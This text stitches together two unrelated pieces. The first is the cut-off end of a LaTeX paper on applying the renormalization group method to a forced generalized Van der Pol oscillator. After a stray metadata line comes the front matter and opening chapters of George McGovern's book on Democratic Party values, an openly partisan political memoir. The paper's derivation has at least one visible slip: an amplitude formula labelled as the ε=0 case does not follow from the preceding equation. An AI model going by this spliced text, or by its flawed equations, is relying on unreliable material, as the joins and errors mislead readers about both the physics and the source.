p_{1}^{i}(t,y) & =& X(t)R_{i}(y)+\sum_{k=1}^{i-1}(D{h^{k}}_{t})_{y} R_{i-k}(y), \label{eq17}\\
p_{j}^{i}(t,y) & =& \frac{1}{j}\sum_{k=1}^{i-1} \frac{{\partial}{ p_{j-1}^{k}}}
{\partial y}(t,y)R_{i-k}(y),(j=2,3,\dots,i-1), \label{eq18}
\end{eqnarray}
Further, the functions $h_{t}^{(i)}$ are bounded uniformly in $t$.
The solution of the Equation (\ref{eq2}) is given by :
\begin{eqnarray}
x(t,\tau,y)&=&x_{0}+\varepsilon x_{1} \nonumber\\
&=&X(t)y+\varepsilon(h_{t}^{1}(y)+X(t)R_{1}(y)(t-\tau))+ O(\varepsilon^{2}).\label{eq21}
\end{eqnarray}
It is the solution obtained by simple development , it diverges for time long, leading to
the need for its
renormalization. It should not depend on $\tau$
$(\frac{\partial{x(t,\tau,y(\tau))}}{\partial{\tau}}|_{\tau=t}=0)$, then
\begin{eqnarray}
0=X(t)\frac{dy(t)}{dt}+\varepsilon \frac{\partial{h_{t}^{1}}}{\partial{y}}
\frac{d{y(t)}}{d{t}}-\varepsilon X(t)R_{1}(y). \label{eq22}
\end{eqnarray}
We verify that (\ref{eq22}) admits solution :
\begin{eqnarray}
\frac{d{y(t)}}{d{t}}&=& \varepsilon R_{1}(y)+O(\varepsilon^{2}). \label{eq23}
\end{eqnarray}
Let $y (t)$ be a solution of Equation (\ref{eq23}), then the solution of Equation
(\ref{eq2}) looked for the
renormalization group method is given by :
\begin{eqnarray}
x(t,t,y)=X(t)y(t)+\varepsilon h_{t}^{1}\left(y(t)\right) +O(\varepsilon^{2}). \label{eq24}
\end{eqnarray}
The Equation (\ref{eq23}) is the equation of the renormalization group of Equation (\ref{eq2}).
The calculation for a higher order is in the same way and one obtains the
equation of renormalization group of order $m$ as follows :
\begin{equation}
\frac{dy}{dt}=\varepsilon R_{1}(y)+\varepsilon^{2}R_{2}(y)+\dots +\varepsilon^{m}R_{m}(y),
y\in \mathbb{R}^n.
\end{equation}
\section{Application to the Forced Van der Pol Generalized oscillator}
We consider the forced Van der Pol generalized oscillator gouverning by
dimensionless equation as follows
\begin{eqnarray}
\ddot{x} + x-\varepsilon(1-ax^{2}-b\dot{x}^{2})\dot{x}=E\sin{\Omega t}; \label{eq27}
\end{eqnarray}
where $a$, $b$, $\varepsilon$, $E$ and $\Omega$ are positifs control parameters such as
$\varepsilon$ is small. $E\sin{\Omega t}$ is extern force for pulsation $\Omega$ and amplitude
$E$. The internal pulsation is here equal to one.
With $E=\varepsilon c$, $y=\dot{x}$, $x=(z+\bar{z})$, $y=i(z-\bar{z})$
we rewrite Equation (\ref{eq27}) as
\begin{eqnarray}
\left\{
\begin{array}{cl}
\dot{ z}= iz+ \frac{ \varepsilon}{2}[(z- \bar{z})-a(z+\bar{z})^{2}(z-\bar{z})
+b(z-\bar{z})^{3} -ic\sin{\Omega t}]
\\
\\
\dot{\bar{z}}=-i\bar{z}+\frac{\varepsilon}{2}[-(z-\bar{z})+a(z+\bar{z})^{2}
(z-\bar{z})-b(z-\bar{z})^{3}+ic\sin{\Omega t} ] \label{eq28}
\end{array}
\right
.\end{eqnarray}
The two equations of the system are nearly identical,
the problem amounts to solving one of them. with
\begin{equation}
z=z_{0}+\varepsilon z_{1}+\varepsilon^{2} z_{2} +\dots \label{eq29}
\end{equation}
we find
\begin{eqnarray}
\dot{z_{0}} &= & iz_{0} \label{eq30}, \\
\dot{z_{1}} &=& iz_{1}+ G_{1}(t,z_{0}). \label{eq31}
\end{eqnarray}
From zero order we have :
\begin{equation}
z_{0}=qe^{it} = qZ(t)\label{eq32}
\end{equation}
with $q$ the integration constant of Equation (\ref{eq30}).
Expressions (\ref{eq12}) and (\ref{eq13}) give
\begin{eqnarray}
R_{1}(q) &=& \frac{1}{2}q(1-(a+3b)|q|^{2})-{ic}
\displaystyle \lim_{t \rightarrow +\infty}\frac{1}{2t} \int_{t_{0}}^{t} Z(s)^{-1}
\sin({\Omega s})ds, \label{eq33}
\end{eqnarray}
\begin{eqnarray}
h_{t}^{1}(q)&=& \frac{i}{4} [ (a-b)( q^{3}e^{3it}+\frac{1}{2}\bar{q}^{3}e^{-3it})
+((a+3b)q\bar{q}^{2}-\bar{q}) e^{-it}]\cr
&&-\frac{ic}{2}e^{it}
\int_{t_{0}}^{t} Z(s)^{-1}\sin({\Omega s})ds. \label{eq34}
\end{eqnarray}
where $t_{0}$ is an initial time and $Z(s)=e^{is}$
We find after computation:
\begin{eqnarray}
R_{1}(q) &=& \frac{1}{2}q(1-(a+3b)|q|^{2}), \label{eq35}\\
h_{t}^{1}(q)&=& \frac{i}{4} [ (a-b)( q^{3}e^{3it}+\frac{1}{2}\bar{q}^{3}e^{-3it})
+((a+3b)q\bar{q}^{2}-\bar{q}) e^{-it}]\cr \label{eq36}
&&-\frac{ic}{2}e^{it}I,
\end{eqnarray}
with
\begin{eqnarray}\label{37}
I &=&\frac{1}{2} \left(\frac{\cos(1-\Omega)t}{1-\Omega}-
\frac{\cos(1+\Omega)t}{1+\Omega} \right)-\cr
&&\frac{i}{2}\left(\frac{\sin(1-\Omega)t}{1-\Omega}-
\frac{\sin(1+\Omega)t}{1+\Omega} \right) ; 1\neq \Omega.
\end{eqnarray}
According to the proposal and the above results we have :
\begin{eqnarray}
z(t,\tau,q)=qZ(t)+\varepsilon (h_{t}^{1}(q) +R_{1}(q)(t-\tau)) +O(\varepsilon^{2}),
\label{eq38}
\end{eqnarray}
which diverges for long $t$ because of the last term.
Using the notion of renormalization constant of integration
$({\frac{\partial{x(t, \tau,q)}}{\partial{\tau}}}| _{\tau=t} =0)$
mentioned in the previous section
and taking $q(\tau)=r(\tau)e^{i\Theta(\tau)}$ we find :
\begin{eqnarray}\label{eq39}
x(r,t,\Theta) &=&2r\cos(t+\Theta (\tau))- \frac{r\varepsilon}{2} \sin(t+\Theta(\tau) )\cr
&&+ \frac{\varepsilon}{2} \left(\frac{(b-a)}{2}r^{3}\sin(3t+3\Theta (\tau)) +
(a+3b)r^{3}\sin(t+\Theta(\tau)) \right)+\cr
&&+\frac{E }{(1-\Omega^{2})}\sin{\Omega t} +O(\varepsilon^{2}).
\end{eqnarray}
\begin{eqnarray}
\left\{
\begin{array}{cl}
\frac{dr}{d\tau}= \frac{\varepsilon r}{2}(1-(a+3b)r^{2})+O(\varepsilon^{2}) \label{eq40}
\\
\frac{d\Theta(\tau)}{d\tau}=0+O(\varepsilon^{2}).
\end{array}
\right
.\end{eqnarray}
The first equation of system (\ref{eq40}) gives the stable cycle limit radius
$r_{s}=\frac{1}{\sqrt{(a+3b)}}$, with $(a+3b)\neq0$.
For $a=0, b=\frac{1}{3}$ we have Rayleigh forced oscillator equation and
Equation (\ref{eq39}) takes the form
\begin{eqnarray}
x(r=1,t,\Theta) &=&2\cos(t+\Theta)+\frac{E\sin{\Omega t}}{(1-\Omega^{2})}
+ \frac{\varepsilon}{12} \sin{3(t+\Theta)}
+O(\varepsilon^{2}).\label{eq41}
\end{eqnarray}
Also for $a=1, b=0$ we have the forced Van der Pol oscillator and Equation
(\ref{eq39}) becomes
\begin{eqnarray}
x(r=1,t,\Theta) &=&2\cos(t+\Theta)+\frac{E\sin{\Omega t}}{(1-\Omega^{2})} -
\frac{1}{4}\varepsilon \sin{3(t+\Theta)}
+O(\varepsilon^{2}).\label{eq42}
\end{eqnarray}
When we cancel the external force ($E=0$), the Equation (\ref{eq42}) reduces to
the results found by Hasan($1981$) and recently by Sarkar and Bhattacharjee
($2010$).
Finally for $a=1 ,b=1$ we have the forced Van der Pol generalized oscillator
equation and the Equation (\ref{eq39}) becomes
\begin{eqnarray}
x(r=\frac{1}{2},t,\Theta) &=&\cos(t+\Theta)+\frac{E\sin{\Omega t}}{(1-\Omega^{2})}
+O(\varepsilon^{2}).\label{eq43}
\end{eqnarray}
The integration of the Equations system (\ref{eq40}) gives us:
\begin{eqnarray}
\left\{
\begin{array}{cl}
r(t)= \frac{r_{0}e^{\varepsilon \frac{t}{2}}}{\sqrt{1+r_{0}^{2}(a+3b)(1-e^{\varepsilon t})}}
+O(\varepsilon^{2}{t})\label{eq44}
\\
\\
\Theta(t)=\Theta_{0}+O(\varepsilon^{2}{t}).
\end{array}
\right
.\end{eqnarray}
For $\varepsilon=0$ we have a cycle limit radius $r$:
\begin{eqnarray}
\left\{
\begin{array}{cl}
r(t)= r = \frac{r_{0}}{\sqrt{1+r_{0}^{2}(a+3b)}}
\label{eq45}
\\
\\
\Theta(t)=\Theta_{0},
\end{array}
\right
.\end{eqnarray}
It becomes, for $r_{0}=1$
\begin{eqnarray}
\left\{
\begin{array}{cl}
r(t)= r = \frac{1}{\sqrt{1+(a+3b)}}
\label{eq46}
\\
\\
\Theta(t)=\Theta_{0}.
\end{array}
\right
.\end{eqnarray}
\section{ Analysis Results}
In this section we will do through the graphical analysis of the numerical simulation
figures below. These graphs are obtained on one hand by direct simulation of Equation
(\ref{eq27})
for some parameters values and on the other hand by simulation of the solution asymptotic
Equation (\ref{eq39}) found by the renormalization group method, for the same values of
these parameters with the logician MATHEMATICA.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3cm]{laur8.pdf}\includegraphics[width=3cm]{laur10.pdf}
\includegraphics[width=3cm]{laur1.pdf}
\end{center}
\caption{ phase diagram : Van der Pol generalized oscillator, Van der Pol oscillator and Rayleigh oscillator,
for $\varepsilon=10^{-1} , E=0$, $\Omega=0$.}
\label{fig:1}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3cm]{laur17.pdf}\includegraphics[width=3cm]{laur12.pdf}
\includegraphics[width=3cm]{laur3.pdf}
\end{center}
\caption{ phase diagram : forced Van der Pol generalized oscillator,
forced Van der Pol oscillator and forced Rayleigh oscillator for $\varepsilon=10^{-1}, E=1 ,\Omega=10^{-2}.$ }
\label{fig:2}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=3cm]{laur16.pdf}\includegraphics[width=3cm]{laur11.pdf}
\includegraphics[width=3cm]{laur2.pdf}
\end{center}
\caption{ phase diagram : forced Van der Pol generalized oscillator,
forced Van der Pol oscillator, and forced Rayleigh oscillator for $\varepsilon=10^{-1}, E=1 ,\Omega=10^{-1}.$}
\label{fig:3}
\end{figure}
\newpage
For each one of the figures (\ref{fig:1}), (\ref{fig:2}) and (\ref{fig:3}),
we have, on the left, the phase diagram of Van der Pol generalized oscillator,
in the middle, the phase diagram of Van der Pol oscillator and on the right,
the phase diagram of Rayleigh oscillator. These figures show us, progressively
when one increases the magnitudeof $E$ and $\Omega$, the phase
portrait goes from periodic condition, almost periodic
to chaotic condition. They show us also, the effects of
the control parameters $a$ and $b$ on the system.
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p1.pdf} \includegraphics[width=5cm]{p16.pdf}
\end{center}
\caption{ $x(t)$, for : $\varepsilon=10^{-1}$, $\Omega=10^{-1}$, $E=1$, $a=1$, $b=1$.}
\label{fig:4}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p02.pdf}\includegraphics[width=5cm]{s17.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-1}$, $E=1$, $a=1$, $b=0$.}
\label{fig:5}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s3.pdf}\includegraphics[width=5cm]{s18.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-1}$, $E=1$, $a=0$, $b=\frac{1}{3}$.}
\label{fig:6}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p2.pdf}\includegraphics[width=5cm]{p19.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-2}$, $E=1$, $a=1$, $b=1$.}
\label{fig:7}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s5.pdf} \includegraphics[width=5cm]{s20.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon= 10^{-1}$, $ \Omega=10^{-2}$, $E=1$, $a=1$, $b=0$.}
\label{fig:8}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s6.pdf}\includegraphics[width=5cm]{s21.pdf}
\end{center}
\caption{ $x(t)$ for :$\varepsilon=10^{-1}$, $\Omega=10^{-2}$, $E=1$, $a=0$, $b=\frac{1}{3}$.}
\label{fig:9}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p3.pdf}\includegraphics[width=5cm]{p28.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=99.10^{-2}$, $E=1$, $a=1$, $b=1$.}
\label{fig:10}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s8.pdf}\includegraphics[width=5cm]{s29.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=99.10^{-2}$ , $E=1$, $a=1$, $b=0$.}
\label{fig:11}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s9.pdf}\includegraphics[width=5cm]{s30.pdf}
\end{center}
\caption{ $x(t)$ for $\varepsilon=10^{-1},\Omega=99.10^{-2}, E=1, a=0, b=\frac{1}{3}$.}
\label{fig:12}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p4.pdf}\includegraphics[width=5cm]{a.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-1}$, $E=10^ {-1}$, $a=1$, $b=1$.}
\label{fig:13}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s11.pdf}\includegraphics[width=5cm]{s23.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-1}$ , $E=10^ {-1}$, $a=1$, $b=0$.}
\label{fig:14}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s12.pdf}\includegraphics[width=5cm]{s24.pdf}
\end{center}
\caption{ $x(t)$ for :$\varepsilon=10^{-1}$, $\Omega=10^{-1}$ , $E=10^ {-1}$, $a=0$, $b=\frac{1}{3}$.}
\label{fig:15}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{p5.pdf}\includegraphics[width=5cm]{p25.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-2}$ , $E=10^ {-2}$, $a=1$, $b=1$.}
\label{fig:16}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s14.pdf}\includegraphics[width=5cm]{s26.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-2}$, $E=10^ {-2}$, $a=1$, $b=0$.}
\label{fig:17}
\end{figure}
\begin{figure}[htbp]
\begin{center}
\includegraphics[width=5cm]{s15.pdf}\includegraphics[width=5cm]{s27.pdf}
\end{center}
\caption{ $x(t)$ for : $\varepsilon=10^{-1}$, $\Omega=10^{-2}$, $E=10^ {-2}$, $a=0$, $b=\frac{1}{3}$.}
\label{fig:18}
\end{figure}
\newpage
As for the figures from ( \ref{fig:4}) to (\ref{fig:18}) we have the
graph of the exact solution of Equation (\ref{eq27}) on the left
and the graph of the approximate solution Equation (\ref{eq39}) on the right.
The chaotic condition noticed in Figure (\ref{fig:3}) is confirmed in real
space through the behavior of the curves in the Figures
(\ref{fig:4}), (\ref{fig:5}) and (\ref{fig:6})respectively
(Forced Van der Pol generalized, Forced Van der Pol and Forced Rayleigh oscillators).
Furthermore the quasi-periodic oscillation is noticed in the behavior of the curves of the
Figures (\ref{fig:7}), (\ref{fig:8}) and (\ref{fig:9}).
The second term $\left(\frac{E\sin{\Omega t}}{1-\Omega^{2}}\right)$ of the solution Equation
(\ref{eq39})
show the appearance of the resonance for $ \Omega\simeq1$.
This behavior is illustrated by the figures \ref{fig:10}), \ref{fig:11}) and \ref{fig:12})
where the dynamic system's amplitude is increasing.
We see through each figure that the approximate solution found approaches
more or less the exact solution, which justifies that ours result are
optimal.
The equations of system (\ref{eq40}) show us that the phase initial of dynamic system is a
constant
and the amplitude $r$ is function of both the time and the control parameters of system.
We chose this initial condition equal to zero to simplify our simulation. Also, the first equation
of the equations system (\ref{eq40}) above, gives the stable cycle limit radius that is only
a function of the parameters $a$ and $b$. They show also that there is the
occurrence of the Hopf's classical bifurcation.
\section{Conclusion}
We recalled the outline of the method of the renormalization group method for ordinary differential equations
$(ODEs)$ which provides in addition to the solution, the renormalization group $(EGR)$ which leads to the
determination of the amplitude of the stable limit cycle. An application of this method for a forced Van der Pol
generalized oscillator equation is made and the approximate solution found is valid for any order of the variable $t$.
The numerical simulation of the forced Van der Pol generalized oscillator equation on one hand and the
approximate solution found on the other hand for some values of control parameters show the method efficiency
and the validity of the approximate solution found. We have noticed that these control parameters play a key role
in the dynamic of the system. One notices also the primary resonance presence near the $\Omega= 1$
zone and that
the system presents a classical Hopf's bifurcation through the renormalization equation.
{\bf{Acknowledgments}}
The authors thank IMSP for his quality formation
and the beninese state which has fully funded this work.
\addcontentsline{toc}{chapter}{Bibliographie}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 2,288 |
Table of Contents
Title Page
Copyright Page
Dedication
Introduction
COMPASSION
FEAR AND DEFENSE SPENDING
THE PURPOSE OF GOVERNMENT
FOOD AND HUNGER
IMMIGRATION
EDUCATION
PUTTING AMERICA BACK TO WORK
ENERGY AND THE ENVIRONMENT
THE MIDDLE EAST
UNIVERSAL HEALTH CARE
ALCOHOL AND DRUG ADDICTION
CONCLUSION:
Acknowledgements
blue
rider
press
BLUE RIDER PRESS
_a member of_
_Penguin Group (USA) Inc._
_New York_
blue
rider
press
Published by the Penguin Group
Penguin Group (USA) Inc., 375 Hudson Street, New York, New York 10014, USA • Penguin Group (Canada), 90 Eglinton Avenue East, Suite 700, Toronto, Ontario M4P 2Y3, Canada (a division of Pearson Penguin Canada Inc.) • Penguin Books Ltd, 80 Strand, London WC2R oRL, England • Penguin Ireland, 25 St Stephen's Green, Dublin 2, Ireland (a division of Penguin Books Ltd) • Penguin Group (Australia), 250 Camberwell Road, Camberwell, Victoria 3124, Australia (a division of Pearson Australia Group Pty Ltd) • Penguin Books India Pvt Ltd, 11 Community Centre, Panchsheel Park, New Delhi–110 017, India • Penguin Group (NZ), 67 Apollo Drive, Rosedale, North Shore 0632, New Zealand (a division of Pearson New Zealand Ltd) • Penguin Books (South Africa) (Pty)
Ltd, 24 Sturdee Avenue, Rosebank, Johannesburg 2196, South Africa
Penguin Books Ltd, Registered Offices: 80 Strand, London WC2R 0RL, England
Copyright © 2011 by George McGovern
All rights reserved. No part of this book may be reproduced, scanned, or distributed in any printed or electronic form without permission. Please do not participate in or encourage piracy of copyrighted materials in violation of the author's rights. Purchase only authorized editions.
Published simultaneously in Canada
ISBN : 978-1-101-55890-4
__
While the author has made every effort to provide accurate telephone numbers and Internet addresses at the time of publication, neither the publisher nor the author assumes any responsibility for errors, or for changes that occur after publication. Further, the publisher does not have any control over and does not assume any responsibility for author or third-party websites or their content.
<http://us.penguingroup.com>
_For Eleanor,_
_who converted me from Republican_
_to Democrat._
INTRODUCTION
**W** henever I hear the phrase "big tent," I'm reminded of the tabernacle at the Holiness Campground. It was on the James River, known locally as the Jim River, four miles east of Mitchell, South Dakota, where I grew up. My minister father led a congregation of Wesleyan Methodists, and my family would go to the tabernacle, with its straw-covered floor, every night for two weeks each summer to take part in the crusades. We were all of the same faith, some of us once-a-year worshippers and others daily churchgoers. We came together to hear the same sermons, but each of us took from these homilies what we needed. Some attendees were "saved" and dropped to their knees in tears at the altar. Others, including me, usually just watched from the back row. I respected the earnestness of the preachers and the worshippers.
The Democratic Party is much the same: millions of people with varying ideas and differing degrees of faith in specific ideals. There are as many definitions of what it means to be a Democrat as there are Democrats.
I am not writing this book to proselytize for politics (and certainly not for religion). Ideologically speaking, anyone who claims to be a Democrat belongs under the same big tent. As Thomas Jefferson, who organized what evolved into the modern Democratic Party, famously said, "I never considered a difference of opinion in politics, in religion, in philosophy, as cause for withdrawing from a friend." I don't detest the Democrats who disagree with me, as many of them did in the 1960s and in my 1972 presidential campaign when I fought with all my strength to bring our boys home from the tragically mistaken American war in Vietnam. Presidents Kennedy, Johnson, and Vice President Humphrey all supported this war. All of them were strong Democrats whom I admired and considered friends. If I should meet them in the mystery beyond the grave, I'd embrace them—even though they were wrong about Vietnam—as was my 1972 opponent, Richard Nixon.
After the turbulent 1968 Democratic National Convention in Chicago, where it was obvious that this spirit of wide embrace was missing both inside and outside the convention hall, I was asked to chair the Democratic Party's Commission on Party Structure and Delegate Selection to make sure that, going forward, our delegates included not just middle-aged white men but women, minorities, and young people—any of the millions of Americans who felt they were outsiders to the political decision-making process. Although accomplishing that goal did not help me win the 1972 election, we unified our previously splintered party, paving the way for the Democratic administrations of Jimmy Carter, Bill Clinton, and Barack Obama.
In their bestselling book _The Emerging Democratic Majority_ , authors John B. Judis and Ruy Teixeira note that despite my landslide loss, the '72 election presaged "a new Democratic majority in the twenty-first century." The authors note that while I lost the popular vote, I brought in several blocs, including nonwhite voters, women, college communities, youth, teachers, clergymen, and other professionals, who today are vital components of the Democratic Party.
As a stand-in candidate for Robert Kennedy after his assassination, I was in Chicago in 1968, when the Democratic Party's New Deal coalition fractured over the Vietnam War. From my fourth-floor suite in the Blackstone Hotel, I watched police officers close in on antiwar protesters. So it was momentous, in 2008, to see a far different Democratic coalition take the stage at Grant Park the night Barack Obama captured the election to become our nation's first African American president.
Because there are no official Democratic litmus tests—thank heavens!—this is one person's view of what it means to be a Democrat—or perhaps what I think a Democrat _ought_ to be. No one can write a book like this that is not personal, that is not influenced by his own observations and experience. As a child, I disliked the revivalist preachers' flamboyant oratorical style, and to this day I flinch when I hear speakers—religious, political, or otherwise—rely on passion at the expense of logic.
I was greatly influenced by my parents, who were soft-spoken and measured. They were "Ye shall know them by their fruits" people. So I'm going to tell you as straightforwardly as possible what being a Democrat means to me.
Above all, being a Democrat means having compassion for others. It means putting government to work to help the people who need it. It means using all available tools to provide good health care and education, job opportunities, safe neighborhoods, a healthy environment, a promising future. It means standing up for people who have been kept down, whether they are Native Americans or African Americans, women, immigrants, or the homeless. It means taking care of the mentally ill, of seniors, of vulnerable children, of veterans—and making sure all people are treated with respect and dignity.
There has never been a more critical time in our nation's history to rely on these fundamental Democratic principles. We are at a crossroads over how the federal government in Washington and state legislatures and city councils across the land allocate their financial resources. Which fork we take will say a lot about Americans and our values. A budget, whether for a family, a Girl Scout troop, a family-owned hamburger franchise, or the entire federal government, is an expression of priorities. And expenditures I consider essential to keep our country great do not line up with the Republicans' view, especially since they have been all but overtaken from within by extremists known as the Tea Party. Movement supporters are fueled by a desire to drastically reduce the size and cut the purse strings of the federal government and to force states to be the motors that get things done. In the 2011 budget battle between President Barack Obama and the Democratic Senate on one side and the Republican-led House of Representatives on the other, the Department of Defense was about the only government agency alleged conservatives did not march to the guillotine. How deeply they would like to go is evidenced by Congress's decision to ax $504 million—about 7 percent—from the Women, Infants and Children (WIC) program developed by the Senate Select Committee on Nutrition and Human Needs (also known as the McGovern Committee), which I chaired from its establishment in 1968 until 1977. This valuable program provides food and infant formula to low-income mothers and their children through the age of five. As one of the senators who originally proposed WIC and saw it into law, I feel a father's pride that it has fed roughly 177 million low-income hungry children and mothers—and a father's grief that it has been so drastically cut.
I view the federal government differently not only from Republicans, but often from many Democrats. Born to teetotaling parents who disapproved of Franklin Roosevelt's support of the Twenty-first Amendment repealing Prohibition, I began to change my allegiance when I saw how FDR's bold initiatives—including Social Security, the Federal Deposit Insurance Corporation (FDIC), the Rural Electrification Act, the Works Projects Administration, and the Civilian Conservation Corps—stabilized the country and made hurting Americans whole again.
My sense of injustice crystallized when, as a ten-year-old boy, I saw our great family friend Art Kendall sitting on his back steps with tears running down his cheeks. I'm not sure that I had ever seen an adult cry, and this was especially shocking, because Art was a man's man—a tough, hardworking farmer, up long before dawn, who would stay awake through the night to help a sow give birth and who also knew his way around a shotgun during pheasant hunting season. He told my father that he had just gotten a check from the stockyard for a year's production of pigs. The check didn't cover the expense of transporting the livestock to market. Four years later, in 1936, U.S. senator Peter Norbeck—a much loftier South Dakota Republican than I was back then—endorsed President Roosevelt. When asked why, Norbeck said: "Because I think nine-cent hogs under Roosevelt are better than three-cent hogs under Hoover."
President Roosevelt's programs were sufficiently effective, as was his leadership during World War II, for him to secure four terms in the White House and for the United States to emerge as the greatest military and economic engine on earth.
Today we need only look around to understand why a progressive federal government can be a powerful force for good. We need a vigorous and alert Food and Drug Administration to assure that our food supply is safe and that our medications help keep us well instead of making us sick. We need to protect our tallest trees and our tiniest endangered species. We need to safeguard the air we breathe and the water we drink. We need to plan for the future by developing alternative sources of energy to lessen our dependence on foreign oil. And yes, we need a strong national defense. (What we don't need are unnecessary wars in Vietnam, Iraq, and Afghanistan that kill or cripple our young men and now women. These wars are the chief cause of our federal deficits and debt.)
Besides performing these routine duties, we need a government that is prepared to come to our aid in times of disaster. In 1995 the Federal Emergency Management Agency (FEMA) under Bill Clinton led a robust relief effort after the Oklahoma City bombing. Ten years later, after Hurricane Katrina struck New Orleans, the same agency, weakened by George W. Bush, was slow to respond to the dismal conditions inside that city's convention center, causing people who had already lost their homes, their livelihoods, and their loved ones to suffer even more. I've noticed that Republicans who complain about the size and scope of the federal government never seem to mind this same government's money going to aid in relief and rebuilding efforts after tornadoes, floods, and other calamities. The governors of Florida, Alabama, Louisiana, and Mississippi did not ask the federal government to stay away as oil from the BP spill gushed into the Gulf of Mexico.
Despite President Obama's leadership, the Tea Party's narrow, negative mentality is gaining ground and influencing the GOP at the very time we should be taking the opposite approach to our nation's problems and helping our fellow citizens.
In the following chapters I will lay out my vision of how to restore our nation to health, drawing on core values that define the Democratic Party.
All Americans believe in the power of the individual to shape his personal destiny through hard work. But unlike Republicans, we Democrats do not believe in blinding ourselves to the challenges that our fellow citizens may be facing in life, sometimes through no fault of their own.
To me, Republicans are like the residents of a well-to-do community where the streets are safe, the children healthy, the living easy. They wish to sit behind high walls and congratulate themselves on the good fortune they and their families enjoy.
They deliberately choose to isolate themselves from their fellow citizens outside the fortress: the unemployed steel worker whose job has been outsourced to China, who cannot support his family and needs retraining; the struggling single mother who works two jobs but who cannot afford afternoon and evening child care to keep her kids safe when the school day ends; the immigrant landscape worker swindled into taking out a mortgage he could never afford; the rural grandmother on Social Security raising grandchildren who have lost their parents to the fastest-growing drug epidemic in America, crystal meth; the millions of Americans who have been driven to declare bankruptcy because of a loved one's cancer or chronic illness.
We Democrats believe people should be allowed to enjoy the fruits of their hard labor, but we know that a two-tiered economy, where CEOs rake in billions for laying off their fellow citizens, is neither fair nor sustainable. A society built on economic injustice cannot grow. Underlying the Republican agenda is a desire to turn back the clock to the world before the New Deal, returning us to what FDR so eloquently described as the two Americas.
I will address how we can solve issues like joblessness; the war in Afghanistan; the unbridled greed on Wall Street; our failure to educate the young; the staggering fact that nearly 17 million American children go to bed hungry; our national crisis of self-confidence triggered by 9/11; the toll the terrible addictions to alcohol and drugs takes on our families, our economy, and our nation; the loss of civility in politics and elsewhere; the deliberate mistruths about taxes and President Obama; and the growing-uglier-by-the-minute media environment.
I offer my thoughts with the understanding that no one will agree with everything I say. That is okay. Democrats represent a party of ideas, with the common goal of harnessing federal power to serve the public interest. What unites us is our desire to propel our great country onward by meeting the needs of the many, in addition to the few who have it made. A guiding belief for Democrats is that we bring everyone along in a growing economy and an improving society.
I want to hark back to the words that mean the most to me as an American: Abraham Lincoln's appeal in his first inaugural address to "the better angels of our nature."
I am optimistic. It's a habit of mine to not get down on the things I care passionately about: our country, world peace, and the St. Louis Cardinals. One always has to believe that things will get better. We have faced worse challenges—the Civil War, the Great Depression, World War II, the Cold War with the Soviet Union—yet somehow this great nation always seems to stumble forward.
COMPASSION
**F** irst and foremost, a modern-day Democrat believes in a dynamic federal government sensitive to public need and direction. In recent years, many of those who call themselves conservatives have begun to brand the federal government as the enemy. With this hostile view of the government in mind, its critics oppose such programs as Social Security, Medicare, and veterans' benefits. They also oppose such time-tested democratic systems as the graduated income tax.
In contrast, a Democrat strongly believes in such programs and regards the federal government not as the enemy but as a friendly partner. As one who has traveled the globe since my military service in World War II, I have witnessed no government as good as the United States of America's. We have the best civil service in the world. We have the best foreign service. We have the best military. Do these agencies sometimes make mistakes? Of course. They are made of human beings. But as an American and as a Democrat, I'm proud to honor the federal government. I was pleased to serve that government in World War II, helping to bring down Hitler, Tojo, and Mussolini, who threatened to destroy our democratic way of life. I was gratified to serve South Dakota and the nation for nearly a quarter of a century in the U.S. Congress. It was my high privilege to serve as President Kennedy's Food for Peace director and later as President Clinton's ambassador to the Food and Agriculture Organization (FAO) of the United Nations in Rome.
It is a source of gratitude and pride that in all these posts I served the federal government. I took only one oath: to uphold the Constitution of the United States.
The reason our Constitution is so strong is that it had good authors: George Washington, Benjamin Franklin, James Madison, Thomas Jefferson, John Adams, Alexander Hamilton, and John Jay. Perhaps when we feel down on the follies of Congress and the national government—and there _are_ such follies—we would be well advised to think of some of the wise programs emanating from Washington: rural electrification, the school lunch program, the interstate highways, Medicare, Social Security, the national parks, national defense, and many others.
So, what does it mean to be a Democrat beyond seeing the federal government as an instrument of building a better society?
During my years in Congress and for the four decades since, I've been labeled a "bleeding-heart liberal." It was not meant as a compliment, but I gladly accept it. My heart does sometimes bleed for those who are hurting in my own great country and abroad.
